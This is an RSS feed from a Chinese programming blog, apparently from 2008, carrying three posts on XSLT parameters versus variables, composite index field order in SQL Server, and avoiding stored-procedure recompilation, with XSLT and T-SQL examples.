﻿<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title><![CDATA[程序开发 - 艺风在线 - Power By CSZI.com]]></title>
    <link>http://max.cszi.com</link>
    <description><![CDATA[CSBlog官方网站，CSBlog是巧思工作室使用Asp.Net2.0(C#)开发的一套免费的Blog系统，采用原始数据的Xml+Xslt模板输出标准的Xhtml页面，原创的经典架构、合理的设计、轻巧方便的更改主题，是同类产品中的佼佼者。希望我们辛苦的努力可以为您的生活和工作带来很多方便。]]></description>
    <language>zh-cn</language>
    <copyright><![CDATA[Copyright 2003-2008 ChaosStudio[巧思]]]></copyright>
    <webMaster>zhouyu@69sea.com(一线风)
        </webMaster>
    <generator>CSBlog v2.0.1</generator>
    <image>
      <title><![CDATA[程序开发 - 艺风在线 - Power By ]]></title>
      <url>/App_Themes/Love/Images/</url>
      <link>http://max.cszi.com</link>
      <description><![CDATA[CSBlog官方网站，CSBlog是巧思工作室使用Asp.Net2.0(C#)开发的一套免费的Blog系统，采用原始数据的Xml+Xslt模板输出标准的Xhtml页面，原创的经典架构、合理的设计、轻巧方便的更改主题，是同类产品中的佼佼者。希望我们辛苦的努力可以为您的生活和工作带来很多方便。]]></description>
    </image>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=558</link>
      <title><![CDATA[xsl:param 与 xsl:variable 的区别]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-12-25 9:42:13</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=558</guid>
      <comments>
              /Blog/Blog.aspx?Id=558#commentbox
            </comments>
      <description><![CDATA[<p>&lt;xsl:param&gt;&nbsp;元素<br />
--------------------------------------------------------------------------------<br />
定义与用法<br />
&lt;xsl:param&gt;元素被用来声明一个局部或者全局的参数。<br />
说明：如果声明的是一个高级（top-level）的元素那么参数是全局的，如果在一个样规中声<br />
明那么是局部的。<br />
<br />
&lt;xsl:variable&gt;&nbsp;元素<strong><font color="#800080">（xsl的variable是常量不能再改变）<br />
</font></strong>--------------------------------------------------------------------------------<br />
定义与用法<br />
&lt;xsl:variable&gt;元素被用来声明一个局部或者全局的变量。<br />
说明：当声明为高级（top-level）元素时，变量是全局的，当在一个template&nbsp;中声明时，作<br />
为局部变量。<br />
说明：一旦您设置了一个变量的值，您就不能修改这个值！<br />
提示：您可以通过增加&lt;xsl:variable&gt;的内容或者用select&nbsp;属性来设置变量值！</p><div>看了二者的定义和用法，一个声明的是&ldquo;参数&rdquo;,另一个声明的是&ldquo;变量&rdquo;。</div>
<div>
<div>参数是用来传递的，变量是拿来本地（局部或者全局）用的。例子：
<div class="codeText">
<div class="codeHead">XML/HTML代码</div>
<ol class="dp-xml">
    <li class="alt"><span><span class="tag">&lt;</span><span class="tag-name">xsl:temaplte</span><span>&nbsp;</span><span class="attribute">match</span><span>=</span><span class="attribute-value">&quot;/&quot;</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="tag">&lt;</span><span class="tag-name">xsl:variable</span><span>&nbsp;</span><span class="attribute">name</span><span>=</span><span class="attribute-value">&quot;var1&quot;</span><span>&nbsp;</span><span class="attribute">select</span><span>=</span><span class="attribute-value">&quot;&nbsp;'I&nbsp;am&nbsp;variable&nbsp;1.'&nbsp;&quot;</span><span class="tag">/&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="tag">&lt;</span><span class="tag-name">xsl:call-template</span><span>&nbsp;</span><span class="attribute">name</span><span>=</span><span class="attribute-value">&quot;to-ba-called&quot;</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="tag">&lt;</span><span class="tag-name">xsl:with-param</span><span>&nbsp;</span><span class="attribute">name</span><span>=</span><span class="attribute-value">&quot;param1&quot;</span><span>&nbsp;</span><span class="attribute">select</span><span>=</span><span class="attribute-value">&quot;$var1&quot;</span><span class="tag">/&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="tag">&lt;/</span><span class="tag-name">xsl:call-template</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="tag">&lt;/</span><span class="tag-name">xsl:template</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="tag">&lt;</span><span class="tag-name">xsl:template</span><span>&nbsp;</span><span class="attribute">name</span><span>=</span><span class="attribute-value">&quot;to-be-called&quot;</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="tag">&lt;</span><span class="tag-name">xsl:param</span><span>&nbsp;</span><span class="attribute">name</span><span>=</span><span class="attribute-value">&quot;param1&quot;</span><span class="tag">/&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="tag">&lt;</span><span class="tag-name">param1</span><span class="tag">&gt;</span><span class="tag">&lt;</span><span class="tag-name">xsl:value-of</span><span>&nbsp;</span><span class="attribute">select</span><span>=</span><span class="attribute-value">&quot;$param1&quot;</span><span class="tag">/&gt;</span><span class="tag">&lt;</span><span class="tag-name">param1</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="tag">&lt;/</span><span class="tag-name">xsl:template</span><span class="tag">&gt;</span><span>&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>屏蔽掉其他输出之后，结果输出：<br />
<strong>&lt;param1&gt;I'm&nbsp;variable&nbsp;1.&lt;/param1&gt;</strong></p>
<p>&nbsp;</p>
<div><strong><font color="#999999">&lt;xsl:param&gt;元素类似于&lt;xsl:variable&gt;元素，它具有与&lt;xsl:variable&gt;相同的属性，而且那些支配&lt;xsl:variable&gt;元素属性的规则也同样适用于&lt;xsl:param&gt;元素的属性，规则的作用范围也相同。不过，&lt;xsl:param&gt;可以从用户处得到一个输入值。这意味着不仅可以通过该元素的select属性或在模板中使用模板指令来创建数值，还可以通过&nbsp;with-param元素创建数值。对于&lt;xsl:variable&gt;元素只能通过该元素的select属性或在模板中使用模板指令来创建数值，数值一旦创建不可更改。</font></strong></div>
<div>&nbsp;</div>
<div>
<div>param的父节点限制要多于variable</div>
</div>
</div>
</div>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=458</link>
      <title><![CDATA[mssql多索引的应用]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-3-24 17:45:45</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=458</guid>
      <comments>
              /Blog/Blog.aspx?Id=458#commentbox
            </comments>
      <description><![CDATA[<p>&nbsp;&nbsp; <strong><em><u><font color="#ff0000" size="3">合理的设计索引,正确的使用索引.</font></u></em></strong></p>
<p>&nbsp;&nbsp;&nbsp; 大家注意一点，这个LX_STUDENTINFO索引，是四个索引字段，而他们的顺序studycenternumber,studentnumber,studentname,studentcrtificatenumber，在数据库设计中，如果查询采用的第一个字段和第二个字段组合，则该索引有效；如果查询采用第一个、第二个和第三个字段组合，该索引也有效；而如果第一个和第三个，或第四个组合，则该索引是无效的，等同的效果仍是在没有索引的数据库中进行查询。也就是说<strong><font color="#ff0000">建立的索引中的字段，在查询使用时，不能隔字段使用。</font></strong></p>
<p>&nbsp;&nbsp;&nbsp; 另外，<strong><font color="#ff0000">索引中涉及到字段的顺序也会影响查询的性能</font></strong>，如果一个索引包含两个字段A1和A2，那么在查询时，一定要严格按索引中这两个字段的顺序设计查询，比如：select * from a where A1='A' and A2='B'。而如果程序员写成了select * from a where A2='B' and A1='A'的话，虽然不影响程序正常使用，但会增加数据库的压力，并且查询效能会降低。(注:这个,我觉得Mssql好像是能自动优化的)</p><p>树立的观念：一个SQL语句，如果在压力测试时CPU占有率达到100%，此语句肯定存在问题。</p>
<p>&nbsp;&nbsp;&nbsp; 在大多数程序员的心里，一直认为数据库加索引，在查询中使用索引，就可以提高数据库性能。其实这种观点有一点的局限性，如果不好好的利用已经建立好的数据库索引，有时反倒给数据库增加更大的处理压力。现在我们举例说明一下：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;在现有的个人信息管理系统登录处的查询中，有这么一个SQL语句：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; Select StudentInfoID, StudentNumber, StudentName,UnifyExamInfoID,NetSchoolID from StudentInfo</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; where&nbsp;<font color="#339966">StudentCrtificateNumber ='130425831217494' and rtrim(ltrim(StudentNumber)) = 'D0462382001'</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; 此SQL语句的目的是查找这个考生是否存在，验证登录的效果，就是这么一个简单的SQL语句，在压力测试时，10个用户同时登录，就会造成数据库服务器（2CPU，4G内存，IBM专用服务器）CPU占有率达到100%。而这张表也建立了StudentCrtificateNumber 和 StudentNumber 两个字段的索引，&nbsp;问题出在哪呢？原因如下：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; （1）在studentinfo表中，建立了一个索引LX_STUDENTINFO，包括了四个字段，顺序为：<font color="#ff6600">studycenternumber,studentnumber,studentname,studentcrtificatenumber。</font></p>
<p>&nbsp;&nbsp;&nbsp; （2）程序员理解的是，这个索引中包括了这两个字段，那么查询时就应该很快。实际不是。</p>
<p>&nbsp;&nbsp;&nbsp; 大家注意一点，这个LX_STUDENTINFO索引，是四个索引字段，而他们的顺序studycenternumber,studentnumber,studentname,studentcrtificatenumber，在数据库设计中，如果查询采用的第一个字段和第二个字段组合，则该索引有效；如果查询采用第一个、第二个和第三个字段组合，该索引也有效；而如果第一个和第三个，或第四个组合，则该索引是无效的，等同的效果仍是在没有索引的数据库中进行查询。也就是说<strong><font color="#ff0000">建立的索引中的字段，在查询使用时，不能隔字段使用。</font></strong></p>
<p>&nbsp;&nbsp;&nbsp; 另外，<strong><font color="#ff0000">索引中涉及到字段的顺序也会影响查询的性能</font></strong>，如果一个索引包含两个字段A1和A2，那么在查询时，一定要严格按索引中这两个字段的顺序设计查询，比如：select * from a where A1='A' and A2='B'。而如果程序员写成了select * from a where A2='B' and A1='A'的话，虽然不影响程序正常使用，但会增加数据库的压力，并且查询效能会降低。(注:这个,我觉得Mssql好像是能自动优化的)</p>
<p>&nbsp;&nbsp;&nbsp; 根据这种思路，重新调整了一下这个表的索引，在这个表中增加了一个新的索引，只包括这两个字段，并且按StudentCrtificateNumber 和StudentNumber先后顺序排序。经过300人同时登录的压力测试，CPU占有率才只占2-3%，证明调整结果有效。</p>
<p>&nbsp;&nbsp;&nbsp; (如果一个表的数据是查少入多的话,还是少建的好)</p>
<p>&nbsp;&nbsp; <strong><em><u><font color="#ff0000" size="3">合理的设计索引,正确的使用索引.</font></u></em></strong></p>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=450</link>
      <title><![CDATA[如何编写高效的存储过程 ]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-3-10 14:18:54</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=450</guid>
      <comments>
              /Blog/Blog.aspx?Id=450#commentbox
            </comments>
      <description><![CDATA[<p><strong><span style="font-size: 14pt; font-family: 宋体">使用存储过程有如下好处：</span></strong></p>
<p style="margin-left: 21pt; text-indent: -21pt">1.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">使用存储过程可以对所执行的</span>SQL<span style="font-family: 宋体">语句进行封装，在接口保持不变的情况下不影响调用程序。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">2.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">最大限度的重用已缓存的执行计划。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">3.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">减少网络流量。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">4.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">提供更好的数据库安全控制，防止直接对表的操作。</span></p>
<p><span style="font-family: 宋体">存储过程的编译占用</span>CPU<span style="font-family: 宋体">，因此我们应该防止存储过程不必要的重新编译。</span><br />
<strong><span style="font-family: 宋体">正常的编译发生于：</span></strong></p>
<p style="margin-left: 21pt; text-indent: -21pt">1.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">所引用的表中大部分的数据发生了的更改，导致统计信息变化过大。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">2.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">所引用的表的架构被修改，包括添加或取消约束、默认值或规则。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">3.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">明确使用</span><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">WITH</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">RECOMPILE</span></span><span style="font-family: 宋体">强制每次执行过程时重新编译或</span><span style="font-size: 10pt; color: maroon; font-family: 'Courier New'">sp_recompile</span><span style="font-family: 宋体">使用过程缓存无效。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">4.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">由于服务器内存不足或长期不使用，使缓存过程被清除。</span></p><p>转自:http://www.cnblogs.com/tom-fu/archive/2008/03/09/1096993.html</p>

<p><strong><span style="font-family: 宋体">在以下情况下，过程会被不必要的重新编译</span></strong><span style="font-family: 宋体">：</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">1.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><strong><span style="font-family: 宋体">在调用过程时，不指定架构所有者。</span></strong><br />
<span style="font-family: 宋体">这时为了找到正确的缓存计划，</span>SQLServer<span style="font-family: 宋体">会按照如下顺序查找过程所属的架构：</span><br />
<span style="font-family: 宋体">①</span>sys<br />
<span style="font-family: 宋体">②调用此过程所属于的架构，如果是被其它过程所包含，则首先查询包含过程的架构</span><br />
<span style="font-family: 宋体">③</span>dbo<br />
<span style="font-family: 宋体">为了能重新编译此过程，必须要对过程施加编译锁，因此在很多用户并行访问时可能会带来额外的等待时间。可通过</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">sys.dm_exec_requests</span><span style="font-family: 宋体">动态视图或</span>master.dbo.sysprocesses<span style="font-family: 宋体">系统表进行观察，如果</span><strong>lastwaittypee</strong><span style="font-family: 宋体">出现</span>LCK_M_X<span style="font-family: 宋体">，则表示出现了编译锁。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt">2.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><strong><span style="font-family: 宋体">过程在临时表上执行了特定操作。</span></strong><br />
<span style="font-family: 宋体">在过程中经常会用到临时表与表变量，一直有种误解是表变量只会存储于内存中。其实如果两者都足够小的话，是不会保存于磁盘中的，但是两者的架构是都会存在于</span>tempdb<span style="font-family: 宋体">定义中的。只有在内存不足时，才会把数据存储于磁盘中。以下示例可查看表变量也是存储于</span>tempdb<span style="font-family: 宋体">中：</span><br />
<span style="font-size: 10pt; color: blue; font-family: 'Courier New'">DECLARE</span><span style="font-size: 10pt; font-family: 'Courier New'"> @employee <span style="color: blue">TABLE</span><span style="color: gray">(</span>employeeId <span style="color: blue">INT</span><span style="color: gray">);</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">INSERT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">INTO</span> @employee <span style="color: blue">VALUES</span><span style="color: gray">(</span>1<span style="color: gray">);</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> tempdb<span style="color: gray">.</span><span style="color: green">INFORMATION_SCHEMA.TABLES</span></span></p>
<p style="margin-left: 21pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">WHERE</span><span style="font-size: 10pt; font-family: 'Courier New'"> TABLE_NAME <span style="color: gray">LIKE</span> <span style="color: red">'%#%'</span><span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt"><span style="font-family: 宋体">这时会看到</span>TABLE_NAME<span style="font-family: 宋体">有一</span>#<span style="font-family: 宋体">开头的记录</span><br />
<span style="font-family: 宋体">选择这两者的主要依据如下：</span><br />
<span style="font-family: 宋体">①对于小数据量的中间表优先使用表变量，反之如果数据量大且被用于连接，则使用临时表。因为在表变量中只能定义主键和约束，如果在进行联结时，必须在要联结的字段上建立索引，从而防止出现哈稀联结而占用过多的资源。联结的三种算法嵌套循环、合并与哈稀所占用的资源依次增加，而前两者的前提是在联结的字段上存在索引时，根据数据量多少而决定的。</span></p>
<p style="margin-left: 21pt"><span style="font-family: 宋体">②中间表对事务的影响，临时表的回滚会影响上层事务，而表变量不会。</span></p>
<p style="margin-left: 21pt"><span style="font-family: 宋体">③可见性问题。临时表对下次均可见，而表变量只在所声明的层次可见。</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-family: 宋体">另一个重要的选择依据就是在对临时表会创建相应的统计信息，因此在过程中引用临时表是可能会迫使语句因为引用的表的统计变化而被重新编译多次。以下示例演示了此过程，为了能看到被重新编译的事件，请在跟踪事件中选择</span>SP:Starting<span style="font-family: 宋体">、</span>SP:StmtStarting<span style="font-family: 宋体">、</span>SP:Recompile <span style="font-family: 宋体">和</span> SP:Completed<span style="font-family: 宋体">，注意</span>SP:StmtStarting<span style="font-family: 宋体">与</span>SP:StmtCompleted <span style="font-family: 宋体">事件，最好不要同时包含这两个事件，因为这样会将需要查询的信息量加倍。</span><br />
<span style="font-size: 10pt; color: blue; font-family: 'Courier New'">USE</span><span style="font-size: 10pt; font-family: 'Courier New'"> AdventureWorks<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">PROCEDURE</span> GetCustomerOrder </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">AS</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">TABLE</span> #t <span style="color: gray">(</span>SalesOrderID <span style="color: blue">int</span><span style="color: gray">,</span> CustomerID <span style="color: blue">int</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #t</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">INSERT</span><span style="font-size: 10pt; font-family: 'Courier New'"> #t </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> SalesOrderID<span style="color: gray">,</span> CustomerID </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">FROM</span><span style="font-size: 10pt; font-family: 'Courier New'"> Sales<span style="color: gray">.</span>SalesOrderHeader</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: fuchsia">COUNT</span><span style="color: gray">(*)</span> <span style="color: blue">FROM</span> #t </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">WHERE</span><span style="font-size: 10pt; font-family: 'Courier New'"> CustomerID <span style="color: gray">=</span> 40</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> GetCustomerOrder<br />
</span><span style="font-size: 10pt; font-family: 宋体">通过上面的结果我们看到，每次在对临时表进行操作时，都会引起一次过程的重新编译。在查询</span><span style="font-size: 10pt; font-family: 'Courier New'">CustomerID <span style="color: gray">=</span> 40</span><span style="font-size: 10pt; font-family: 宋体">时，可以看到有一</span><span style="font-size: 10pt; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 宋体">语句正是为了能获得所需的统计信息而发生的。可以使用</span><span style="font-size: 10pt; color: maroon; font-family: 'Courier New'">sp_executesql</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 宋体">来防止这种额外的编译，修改过程如下，再次跟踪事件：</span><span style="font-size: 10pt; font-family: 'Courier New'"><br />
<span style="color: blue">USE</span> AdventureWorks<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">ALTER</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">PROCEDURE</span> GetCustomerOrder </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">AS</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">TABLE</span> #t <span style="color: gray">(</span>SalesOrderID <span style="color: blue">int</span><span style="color: gray">,</span> CustomerID <span style="color: blue">int</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #t</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: maroon">sp_executesql</span> N<span style="color: red">'</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: red; font-family: 'Courier New'">INSERT #t </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: red; font-family: 'Courier New'">SELECT SalesOrderID, CustomerID </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: red; font-family: 'Courier New'">FROM Sales.SalesOrderHeader'</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: maroon">sp_executesql</span> N<span style="color: red">'SELECT COUNT(*) FROM #t WHERE CustomerID = @CustomerID'</span><span style="color: gray">,</span> </span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N<span style="color: red">'@CustomerID int'</span><span style="color: gray">,</span> @CustomerID <span style="color: gray">=</span> 40</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> GetCustomerOrder<br />
</span></p>
<p style="margin-left: 21pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp; </span><span style="font-size: 10pt; font-family: 宋体">此时我们发现只要是使用</span><span style="font-size: 10pt; color: maroon; font-family: 'Courier New'">sp_executesql</span><span style="font-size: 10pt; font-family: 宋体">执行的语句都没有引起语句的重新编译。虽然此处演示的是使用临时表，但对永久表而言同样也存在这种问题。另一种做法是使用</span><span style="font-size: 10pt; font-family: 'Courier New'">KEEP PLAN</span><span style="font-size: 10pt; font-family: 宋体">，不推荐使用。因此，我们应该优先使用</span><span style="font-size: 10pt; color: maroon; font-family: 'Courier New'">sp_executesql</span><span style="font-size: 10pt; font-family: 宋体">，使用它所执行的语句在缓存中只会存在一条语句，而使用</span><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 宋体">会根据具体的参数为每条不同的语句生成一个缓存计划。从而占用过多的缓存。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt; text-align: left" align="left"><span style="font-size: 10pt; color: gray; font-family: 'Courier New'">3.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp; </span></span><span style="font-family: 宋体">过程定义中出现</span>DDL<span style="font-family: 宋体">和</span>DML<span style="font-family: 宋体">的交错。以下示例演示引起重新编译：</span><br />
<span style="font-size: 10pt; color: blue; font-family: 'Courier New'">USE</span><span style="font-size: 10pt; font-family: 'Courier New'"> AdventureWorks<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">PROCEDURE</span> GetOrderInfo</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">AS</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">-- DDL</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">TABLE</span> #CompleteOrder<span style="color: gray">(</span>SalesOrderID <span style="color: blue">int</span><span style="color: gray">,</span> CustomerID <span style="color: blue">int</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">-- DML</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #CompleteOrder</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">-- DDL</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">INDEX</span> idx_#CompleteOrder <span style="color: blue">ON</span> #CompleteOrder<span style="color: gray">(</span>SalesOrderID<span style="color: gray">)</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">-- DML</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #CompleteOrder</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">-- DDL</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">TABLE</span> #ProcOrder <span style="color: gray">(</span>a <span style="color: blue">int</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">-- DML</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #ProcOrder</span></p>
